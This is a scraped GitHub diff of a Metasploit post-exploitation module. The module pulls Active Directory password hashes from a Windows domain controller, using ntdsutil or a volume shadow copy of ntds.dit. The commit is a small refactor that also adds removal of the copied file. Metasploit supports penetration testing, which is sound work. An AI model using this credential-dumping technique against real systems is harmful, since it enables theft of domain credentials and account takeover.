File tree Expand file tree Collapse file tree 1 file changed +3
-3
lines changed
modules/post/windows/gather/credentials Expand file tree Collapse file tree 1 file changed +3
-3
lines changed Original file line number Diff line number Diff line change 11
11
class Metasploit3 < Msf ::Post
12
12
include Msf ::Post ::Windows ::Registry
13
13
include Msf ::Auxiliary ::Report
14
- include Msf ::Post ::Windows ::Services
15
14
include Msf ::Post ::Windows ::Priv
16
15
include Msf ::Post ::Windows ::ShadowCopy
16
+ include Msf ::Post ::File
17
17
18
18
def initialize ( info = { } )
19
19
super ( update_info ( info ,
@@ -47,6 +47,7 @@ def run
47
47
report_hash ( hash_string . downcase , ad_account . name , realm )
48
48
end
49
49
end
50
+ rm_f ( ntds_file )
50
51
end
51
52
end
52
53
end
@@ -76,7 +77,6 @@ def is_domain_controller?
76
77
end
77
78
78
79
def ntdsutil_method
79
- get_env
80
80
tmp_path = "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
81
81
command_arguments = "\" activate instance ntds\" \" ifm\" \" Create Full #{ tmp_path } \" quit quit"
82
82
result = cmd_exec ( "ntdsutil.exe" , command_arguments )
@@ -149,7 +149,7 @@ def vss_method
149
149
sc_path = "#{ sc_details [ 'DeviceObject' ] } \\ windows\\ ntds\\ ntds.dit"
150
150
target_path = "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
151
151
print_status "Moving ntds.dit to #{ target_path } "
152
- client . fs . file . mv ( sc_path , target_path )
152
+ move_file ( sc_path , target_path )
153
153
target_path
154
154
end
155
155
You can’t perform that action at this time.
0 commit comments